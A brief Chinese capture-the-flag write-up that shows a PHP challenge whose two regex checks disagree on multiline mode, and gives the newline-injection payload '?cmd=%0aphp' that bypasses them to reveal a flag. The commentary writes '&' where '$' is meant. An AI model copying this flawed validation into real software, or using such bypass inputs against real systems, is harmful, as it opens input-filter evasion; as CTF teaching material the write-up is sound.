// 源码
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
源码中的匹配有 ^
和 &
并且第二次匹配中没有进行多行匹配,很明显是在考察换行符绕过
payload
?cmd=%0aphp